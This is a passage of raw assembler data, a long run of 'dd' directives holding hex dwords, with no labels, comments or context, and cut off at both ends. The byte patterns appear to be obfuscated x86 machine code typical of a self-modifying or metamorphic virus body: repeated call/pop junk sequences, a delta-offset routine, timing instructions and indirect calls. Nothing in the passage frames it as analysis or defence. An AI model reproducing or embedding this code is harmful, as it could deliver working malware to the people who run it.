52420000h, 3905BFC3h dd 0A61C1973h, 71E9BF4Eh, 12E94268h, 7000000h, 53A0A997h dd 98357A6Ah, 5FECD01Ah, 4BB3DC9Ah, 4428908h, 9AD58060h dd 95958D61h, 0F806452Ch, 6A1A89h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 623564C3h, 0BEBE669Fh dd 442893Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 9EC35242h, 537C643h, 0B58BA261h, 64514A1h, 0CE8h dd 622C3700h, 0FF9D13F0h, 0A5479CC7h, 0C18166FFh, 8D5FBF4Ah dd 45102995h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1C04h, 0C3524200h, 0D0336993h, 0F38CF1AFh, 558D33D0h dd 2306451Dh, 4521498Dh, 6A1A8906h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 233FC355h dd 42890D24h, 52006A04h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 0B9068386h, 2F298529h, 8DF80645h dd 450AF195h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1B04h, 0C3534300h, 67785D0Ah, 0F7D77642h, 6A1A89h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 44BC02C3h, 0BD898BD8h, 6450445h, 6A044289h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 8448C353h, 39B6D77Fh, 0F5E7B40Eh, 0D918589h, 958D0645h dd 6453345h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 0EAC35343h, 0D4E6BDBDh, 0AC4BC82h, 89E9811Ah, 891CE292h dd 51006A1Ah, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 0C654BC72h, 4428982h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 50C35545h, 0EB417897h, 0C36522F0h dd 1D958DFCh, 0F8064504h, 0F98B1A89h, 8B044289h, 452451BDh dd 2800F06h, 8B000000h, 0B8E9C8h, 81660000h, 6A16E8CEh dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 383C77D8h, 9BC21CD5h, 6A006A38h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 0FE3CC351h, 5EDA20BCh, 10E9h, 0C3F8C700h, 8666DDE9h dd 4038B94h, 0A9B7C31Eh, 6A006A00h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 82C350h dd 15852974h, 6A064522h, 0FFFA8B00h, 45117995h, 6AC306h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 0FF7357C3h, 0D913ACDDh, 0C58AE187h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 66C35545h, 3790FC5Dh, 7FFB549Fh dd 58C0Fh, 63BF0000h, 8958AC8Bh, 452119BDh, 6AC08B06h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 7917C350h, 0B5858916h, 83064528h, 4530A1BDh dd 9750006h, 4BDBD83h, 74000645h, 8B535019h, 438B8C0h dd 85890000h, 6452C41h, 0B5D39D8Dh, 0D3FF0647h, 0BD83585Bh dd 64504BDh, 50177400h, 438B853h, 85890000h, 6452C41h dd 0B2749D8Dh, 0D3FF0647h, 6A585Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 1C09BC3h dd 6A1A7Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 5EEE1C3h, 50911EE2h, 27850FAAh, 0E8000000h dd 9, 0B928D6D0h, 0F1347129h, 13E90Bh, 27B40000h, 0FD0FB7F9h dd 0E07DEEA9h, 1FE852CFh, 0B44FF08Eh, 0C08B5EB6h, 0D99858Dh dd 6A0645h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 715108C3h, 8FDDC84Ch, 0B5018BD0h, 6450B01h dd 89F98B50h, 0DE92404h, 0 dd 0ABABE1AAh, 9A51E3E5h, 0D8C3991Eh, 6A006Ah, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 15E232C3h, 7C867EA4h, 8B5FAE00h, 451E05BDh, 1006A06h dd 4511D98Dh, 48A0F06h, 66000000h, 8D75B5BBh, 493B2285h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 60A957F6h, 0E382E5A8h, 5840F04h, 66000000h dd 0B35EE781h, 71E38166h, 5C08346h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 0C7C35141h, 60DCE1D5h, 9D8B22A5h dd 6453335h, 24048950h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 2CC35040h, 2D593BECh, 89DF0E52h, 45317D8Dh dd 9006A06h, 451F65BDh, 0BF006A06h, 153C8F55h, 14E9BD03h dd 95FF0645h, 6451749h, 0EE9h, 0E1D25000h, 2EDB20C3h, 17D79611h dd 8D16DB68h, 489D998Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 3DF16E33h, 9D238FE0h dd 64505DDh, 6AD1FFh, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 9E7A0DC3h, 4C3C8B8Fh, 8BA456A5h dd 452C919Dh, 25BD8306h, 1064500h, 0D7850Fh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 7218BFC3h, 4CCB185Eh, 6A026Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 422C97C3h, 5613F33Dh dd 0FE9h, 0E4B71800h, 3638C76Bh, 96E534C5h, 3F333E43h dd 30A5BD29h, 66900645h, 50721EBBh, 4820Fh, 0BF660000h dd 6A90320Ch, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 0C8DBC351h, 669AB302h, 95FFFE8Bh dd 6452591h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 4AC35242h, 2037FB4Ch, 8B6692CFh, 128B0FDFh, 0E8000000h dd 8, 28EE1A56h, 38D1EF61h, 4C2EBB66h, 0DB2E95Bh, 0E80000h dd 5D000000h, 3B2CED81h, 9D8B0649h, 64530FDh, 11B98589h dd 858D0645h, 6488F6Dh, 5D9D8956h, 5B064512h, 8E9h, 3DB9D400h dd 8359B9F8h, 4EBF9083h, 50045E00h, 0E016BB60h, 606009A8h dd 61CE8B61h, 6A9061h, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 52D4F6C3h, 6036B4CFh, 1F2A45BEh dd 6461FC69h, 35FFh, 81660000h, 0F5C44DEFh, 258964h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 8A31C357h, 0F0437034h, 0BD8B28EAh, 64524E1h dd 32B985FFh, 0FF6A0645h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 0B7C35242h, 9D586F69h, 0BBA92DA6h, 747955F7h dd 495B5FFh, 6A0645h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 0CCE76BC3h, 0F9E5BB66h, 2CE995FFh dd 1EE90645h, 0E8000001h, 0Bh, 1726C598h, 0FCA4A3B1h, 0FF2F669h dd 687h, 298D8900h, 5F064513h, 8A0F00B0h, 6, 0BE98D89h dd 0BD890645h, 6452041h, 8B6670E6h, 6E9D9h, 92A0000h, 3FFF91Fh dd 3CF971E4h, 0D2830F61h, 8B000000h, 0C8B60FDEh, 12E8h dd 79D3FE00h, 0A4D91E5Ah, 0FE8E0542h, 1311551Eh, 0E98669ACh dd 11h, 3CA38994h, 342E5424h, 0BCD0CA34h, 0FB733332h, 6BA5F0Ch dd 0F5000000h, 0BD23C18Bh, 6450265h, 0BB04E8C1h, 48666256h dd 0FCE2F766h, 70B3C82Bh, 0BF66D18Bh, 0CE90545h, 8B000000h dd 4520FD9Dh, 0A1858906h, 8B064501h, 45297D85h, 7C08306h dd 22D9589h, 0C0830645h, 0DE8B6600h, 830FD03Bh, 0Eh, 9529D781h dd 42E9637Bh, 0F000000h, 8D8BDFBFh, 6450599h, 12E9h, 92401800h dd 516132EAh, 99616A28h, 58C6FA3Ch, 831D12BAh, 840F01E1h dd 19h, 599A583h, 66FE0645h, 89BD21BBh, 45297D95h, 0FB8B6606h dd 0E9h, 2EB58D00h, 6A0648C4h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 6A5AC351h, 1F4D780h dd 4501C58Dh, 0E9006A06h, 0Ah, 0B4D58080h, 0B4CCAB84h dd 95FFFE7Dh, 6453121h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 0E3C35747h, 0FA32AD07h, 0B9BAD91Ch, 7F1h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 2AC35646h dd 8C5BE5D3h, 0F3D29A5Dh, 0FCE183DEh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 0BBC35343h, 0BC74A53Ah, 0CCC7AFF6h dd 0FCDA8B66h, 78D9589h, 0B80645h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 0F466C355h, 0BAD936h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 8A2FC357h dd 0E4C9C722h, 0DBB70F55h, 0D1C233ADh, 83D003E8h, 0F47504E9h dd 84D9D89h, 6A0645h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 5DB0DDC3h, 0FFCE8C56h, 880DCEh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 9EF1B1C3h, 0FCE0DF74h, 2A01958Bh, 61600645h dd 20D59D8Bh, 8D8B0645h, 64503D5h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 0D7C35545h, 902C4DD4h, 4814C7C7h dd 0C28B5042h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 0F58188Bh dd 0A81h, 8D896000h, 6452291h, 0E9617FB3h, 0Ch, 7E837EEBh dd 0E7F977EBh, 0F67467BAh, 215BD83h, 0F000645h, 6084h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 0B8FCh, 8D8D0000h, 6454E1Ch, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0CAC35646h, 7B43298Bh dd 4DAAD48Eh, 0B98529B2h, 0FF064507h, 0ED9D8BE1h, 8B064521h dd 4522C1BDh, 5DBD8306h, 64509h, 3F3840Fh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 0EA48ACC3h, 95DBD83h, 0F010645h, 3E384h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 40226D46h, 8B97D33Ch, 4528C5BDh, 5DBD8306h, 3064509h dd 378860Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 6091F3C3h, 11E9h, 0BA835A00h, 365EE80Bh dd 3307D993h, 412BADB6h, 8C66B554h, 57006AD9h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 77DD4009h dd 8890Fh, 860F0000h, 2, 0E1805F57h, 0FC90A04h, 0E284h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h dd 0C3504000h, 965EC837h, 4E94DB36h, 840Fh, 858B0000h dd 6450589h, 197D8D09h, 85330645h, 6450275h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 6CC35343h, 8BC2ACD6h dd 661AD1A1h, 906703BFh dd 8D899050h, 6452205h, 8A0F006Ah, 4, 5B5F5657h, 7468DE8Bh dd 0E9BD08B7h, 0Ah, 503811F8h, 0A13CCE0Bh, 481EE1Ch, 164C8B24h dd 0E7816643h, 8B0FA63Bh, 0 dd 2EAD95FFh, 7E90645h, 30000000h, 0FFAEE096h, 8589FBEEh dd 648AD77h, 2DBD0Bh, 0B5E90645h, 6A000001h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 856BC351h, 8B48674Eh, 48AD6F85h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 0D6E77FAh dd 9589F88Bh, 6451269h, 1800C7h, 0B5890000h, 64506F9h dd 0AD73B58Bh, 9D890648h, 6450CA5h, 9AAAE381h, 858B4686h dd 64503C1h, 0EA80F781h, 6897F31h, 0FE9h, 75F03400h, 13FBF88Fh dd 355DC9FEh, 0C9ADBCE1h, 589858Bh, 95290645h, 645334Dh dd 0FC044689h, 96DEB70Fh, 13E9h, 4C338500h, 122ECA72h dd 0DE15BC69h, 0A4FE74EFh, 0C3B2F629h, 0C850F50h, 0F000000h dd 680h, 830F00h, 96000000h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 67C35040h, 30519D8Bh, 0E8510645h dd 12h, 466F976Dh, 19556F4h, 566A37F5h, 867CCC73h, 810F5952h dd 0 dd 0B5FF5F5Fh, 648AD6Fh, 0AE9h, 0A0603100h, 94803960h dd 81F90A9Dh, 0B83EC5EFh, 111A685Ah, 481C1FAh, 24F2E524h dd 8ABF663Eh, 77858DBAh, 6A0648ADh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0A3AFC357h dd 74DB818Ah, 9004ED23h, 2820Fh, 1FB30000h, 6A9050h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 0C1BC55C3h, 32394290h, 66BCB7AEh, 0FF63D9BFh, 452EAD95h dd 0A1BD8B06h, 0E9064509h, 0Ch, 8AB97BE4h, 4634100Ch, 0E8FC95B3h dd 0DEB70F61h, 11C98D89h, 85C70645h, 645095Dh, 3, 231DBD33h dd 0BD830645h, 648AD77h, 6B840F00h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 22A2C353h, 159D232Fh, 0E8064509h, 9, 185DEA1Fh, 6CD27D80h dd 0B5096097h, 6452E9Dh, 24159D31h, 5B610645h, 40E9h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 7DE8803Dh, 2AF9BD8Bh, 30500645h, 4400110Ch, 0E8C10111h dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h dd 11043001h, 7504E983h, 8B00EBE7h, 0D88B66C0h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 80C35242h, 0E998EA40h dd 836EFA14h, 45095DBDh, 850F0306h, 455h, 26B436BFh, 77BD833Eh dd 648ADh, 443840Fh, 840F0000h, 6, 1307CB81h, 0EE96BFFh dd 0E9000000h, 0E06C55BBh, 0EFC72824h, 14127BA7h, 77B5FFD5h dd 10648ADh, 45082585h, 0C995FF06h, 6A064510h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 7FF4C351h, 0F141CC7h, 7E89470h, 0B1000000h, 8FD1DC80h dd 0B589F924h, 64520F5h, 6BB58B5Fh, 890648ADh, 450AC585h dd 106C706h, 6A000100h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 20B2C350h, 9E1AA6B0h dd 8B6650F8h, 243489DAh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 42C35343h, 741473BEh, 0F185898Dh, 0FF06450Ch dd 48AD77B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 0B589F997h, 645231Dh, 7D98D89h, 95FF0645h dd 6450951h, 6BB58BF9h, 0F0648ADh, 0BD03D9B7h, 6450521h dd 14ED858Bh, 0EE80645h, 30000000h, 0C8DB0A67h, 39895A02h dd 0A99BD9EFh, 86895B0Ch, 0C4h, 8BDA8B66h, 4505A19Dh, 1958B06h dd 6A06452Ah, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 4120C357h, 0CD99C0C3h, 816679D0h dd 83AED1F3h, 6A04C2h, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 0F51E9EC3h, 502E821Eh, 5BDAB70Fh dd 6A205089h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 0F85FC353h, 890FABh, 60000000h dd 2B7DB501h, 8D610645h, 48C15685h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0B88689F9h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 0BCD0C353h, 0FB733332h, 6A25330Ch dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 2DBBE1DAh, 14FDF02Ch, 7E58589h, 0B5FF0645h dd 648AD77h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 0EEC35747h, 95842E24h, 9195FFFCh, 31064525h, 4503298Dh dd 0DF8B5006h, 8B243489h, 451E4D9Dh, 77B5FF06h, 6A0648ADh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 66F0C355h, 917EDF81h, 207D95FFh, 6A0645h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 8DE341C3h, 0C2D86569h, 1955BD83h, 0F000645h, 4D84h dd 0B1BD8B00h, 9606451Ch, 40D56BBFh, 5250504Bh, 6880Fh dd 52500000h, 585A310Fh, 0BB66310Fh, 585A983Ah, 52006A96h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 0D8679E22h, 0E03A0CD4h, 1E85B589h, 0B5FF0645h, 648AD77h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 3AC35747h dd 2F2D95FFh, 0BB660645h, 0B5FF4391h, 648AD77h, 57D9D09h dd 9D8B0645h, 64509D9h, 73595FFh, 6A0645h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 180424h, 51410000h, 0CDD2C4C3h dd 8060CF1Bh, 0C880FEF7h, 0BD8361CCh, 645301Dh, 9E840F02h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 0EB3BC353h, 0DE832h, 23B80000h dd 2D930AAFh, 209F7F4h, 6687F5D1h, 8CCFD381h, 0C1BD035Fh dd 66064501h, 5458F781h, 2F51858Bh, 6A0645h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 6B7FA8C3h dd 199D1D10h, 9D8B3916h, 6452CB9h, 0C653F380h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 0C2E1C3C3h, 127DBD29h, 0C3800645h, 0A985C736h, 64530h dd 8B000000h, 450D9DBDh, 0F37CE906h, 6AFFFFh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0AF0472C3h dd 8E8h, 0E758C900h, 84D7893h, 99B589EAh, 5F064507h, 6850Fh dd 0BD8B0000h, 6452489h, 6AC18Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 0CD759EC3h, 5C390474h dd 0BD89246Eh, 6452F69h, 2355BD89h, 5E90645h, 0B1000000h dd 6DEA4F06h, 0D99858Dh, 6A0645h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 3D326EC3h, 7FC63B63h dd 0D88B6650h, 6A240489h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 0D09AC356h, 386C8D6Ch dd 0BD8B6165h, 6451C81h, 0AE3468BFh, 57006A62h, 0FDBD2960h dd 0E806450Dh, 9, 0E352E0CAh, 99AB9F54h, 5B615916h, 0BD8B006Ah dd 64525F5h, 4B01858Dh, 6A0649h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 676DDDC3h, 8E91DF81h dd 0C083343Fh, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 1353F76Eh, 0BF0F4DB6h dd 6830FF8h, 89000000h, 45236195h, 0ABB39006h, 50506050h dd 5A310F52h, 3EBE5E58h, 6130B32Bh, 52006A90h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 281957E6h dd 89A4E3E2h, 4508E1BDh, 6A006A06h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 81D5C357h dd 0BBE7B047h, 0B529C67Bh, 6451289h, 95FF006Ah, 6451749h dd 8B16B060h, 4514E9BDh, 8D8D6106h, 6489D99h, 9D19D8Bh dd 0E3800645h, 6AD1FF74h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 474EC356h, 5C65B577h, 0DE8B52DAh, 4C16BB66h, 25BD83h dd 0F010645h, 8B85h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 0CCAA8D8Ah, 6AE4CD65h dd 53006A02h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 64696A60h, 0D219113Bh, 8B0F5630h, 3, 8BF88B66h dd 0BFBB90F8h, 507D8E13h, 35BF5250h, 0F4EE6BBh, 0FE931h dd 1F940000h, 1D791C9Ah, 3C9B46CCh, 6054967Ch, 90585AADh dd 29FDBD33h, 95FF0645h, 6452591h, 0B579BF66h, 0DDBE9h dd 0E800h, 815D0000h, 494B0BEDh, 75BD2B06h, 89064512h dd 451E4D8Dh, 6D858D06h, 6A06488Fh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 7D4AC351h dd 319026A4h, 0BD8B8295h, 6450489h, 0BD0BF88Bh, 6453281h dd 28C0F50h, 53000000h, 2404895Fh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 80C35747h, 5A65C314h, 81AABFB2h dd 0CF7D1BCBh, 9E905h, 0F25D0000h, 0F0035780h, 649DE22Ah dd 35FFh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 10E94AC3h, 1D000000h, 3E1D2306h dd 0AEE61765h, 0C8144765h, 649F8395h, 2589h, 9D8B0000h dd 6450945h, 32B985FFh, 6A0645h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 190424h, 52420000h, 596457C3h, 138F480h dd 45061D9Dh, 6AFF6A06h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 2588C351h, 9D8BD968h dd 645104Dh, 6850Fh, 85890000h, 64532A5h, 0B61B5FFh, 6A0645h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 0FF6CDDC3h, 452CE995h, 133E906h, 0BB510000h, 654107D1h dd 2B00B05Bh, 4503D9BDh, 970E606h, 450225B5h, 5071E406h dd 50D8DF81h, 3C5B5E31h, 0A830F61h, 81000001h, 0DD5172F3h dd 32B7516Eh, 0C8B60F5Bh, 1B99589h, 6BA0645h, 29000000h dd 4507A985h, 9E806h, 5FCC0000h, 7567713Ah, 3145D2ECh dd 45077DBDh, 0C18B5F06h, 178D9D8Bh, 0E8C10645h, 5D9D8B04h dd 6606452Ch, 0BD8BE2F7h, 645082Dh, 0AE9C82Bh, 44000000h dd 849FA793h, 6CAF55B4h, 60D18B62h, 0B3ECF781h, 81662E1Eh dd 617C06D3h, 8E9h, 0EA816000h, 60541CC9h, 11858B61h, 29064503h dd 45179D95h, 0C1B58906h, 83064530h, 958907C0h, 64507E5h dd 2B00C083h, 450D819Dh, 8D295106h, 645306Dh, 0FD03B5Fh dd 0E83h, 0F88B6600h, 54E9h, 0F2D78100h, 8B50D3D9h, 4500518Dh dd 438DBF06h, 0E18312D9h, 3A840F01h, 0E9000000h, 0Eh, 0CB2EB586h dd 6F73470Ah, 8DC41582h, 0BB662D34h, 0A583C46Ch, 6450051h dd 68B0FFEh, 23000000h, 4531399Dh, 11958906h, 0BF064503h dd 8909B93h, 0E9h, 0CBB58D00h, 6A0648CDh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 68A0C355h dd 2BD00CCAh, 450DA5BDh, 798D8906h, 6A064502h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 8B4198D2h, 8166581Eh, 0E8715CC7h, 11h, 0CD1320CBh, 5848DA32h dd 0C4D8B71Ch, 560CB026h, 9185293Dh, 5F064522h, 312195FFh dd 85090645h, 6450AEDh, 0EA4B9h, 0F1BD2300h, 8306452Ah dd 0E960FCE1h, 0Fh, 2E1EE9C2h, 0FDBA451Eh, 6E2B94E6h, 8966C7B9h dd 45173995h, 0FFC6106h, 683h, 0DD9D8B00h, 2B064524h, 57006AC0h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 0E98D3844h, 5, 4235C4FDh, 0CB8166ACh, 0DFBFA96Eh, 0BA09625Dh dd 0 dd 9589DD8Ah, 6451F95h, 0D1C233ADh, 83D003E8h, 0F47504E9h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 5FC35141h dd 0CD9D8B67h, 8B064521h, 4511D19Dh, 85BD0106h, 0D064529h dd 88h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h dd 0B1C35545h, 3285B589h, 8D290645h, 6450711h, 2A01958Bh dd 6A0645h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 6A5761C3h, 2211BD8Bh, 8D8B0645h, 64503D5h dd 2319D8Bh, 50F50645h, 188BC28Bh, 188BC103h, 0E8D1C18Bh dd 188BC203h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 36FBEDBEh, 647C4AB6h, 68B0FECh, 8B000000h dd 4504759Dh, 15BD8306h, 64502h, 5B840Fh, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 319BC1C3h, 5324728Eh, 14870Fh, 0EE80000h, 3E000000h dd 83C3CA59h, 9C0B6EEDh, 19F47F6Bh, 0B85F5B1Fh, 0 dd 0D445D7BFh, 1C8D8D67h, 106454Eh, 4532598Dh, 89E1FF06h dd 45208985h, 5DBD8306h, 64509h, 4C5840Fh, 0BD8B0000h dd 6452019h, 0BD0DBF66h, 95DBD83h, 0F010645h, 4C984h, 558D8900h dd 8306452Fh, 45095DBDh, 860F0306h, 480h, 68D0Fh, 95890000h dd 645182Dh, 53006A60h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 8B2C608Dh, 4509819Dh, 0CE906h, 7F160000h dd 77BD5489h, 0E6F9448Bh, 8C667BA8h, 57006AD9h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 0B589A6F0h dd 6452C29h, 70DF8166h, 4E180B2h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 49C35545h, 0C47AB3FDh, 0A2F0D38h dd 9D840FC9h, 6A000001h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 8B9AC351h, 45058985h dd 0F99D8906h, 33064514h, 45027585h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0DFBF0FEEh dd 7E950h, 0CF710000h, 29112B5Dh, 24048959h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 6CC35141h, 8763A9E8h dd 14E91Bh, 79050000h, 0B3704494h, 613E31Fh, 0D87B5C9h dd 0E831AD34h, 6A40F4h, 2895BD89h, 4E80645h, 0FF000000h dd 0F001F03h, 281h, 50B1B300h, 448BFE8Bh, 10E80424h, 29000000h dd 4C4EA8C3h, 0C1D1B63Fh, 1AC9B553h, 0E9AA0E77h, 0Ah, 2D40B921h dd 7BFDC153h, 8B5F12F0h, 840F6000h, 2, 0F536160h, 8Eh dd 89615F00h, 0E9042444h, 13h, 0B300D7B9h, 6762ED2Fh, 2F99F22Ch dd 0A7D505F3h, 58642C61h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 0CBC35747h, 2FD59D81h, 8147733Fh, 336090F3h dd 0AD95FF77h, 6A06452Eh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 4A3BC355h, 4ACBEE4Fh dd 311D8D09h, 0BD8B0645h, 6452BE9h, 2800Fh, 75B70000h dd 0AD778589h, 0BB660648h, 0CBE9C12Fh, 6A000001h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 9C95C356h, 0AD6F858Bh, 6A0648h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 4B6E2DC3h, 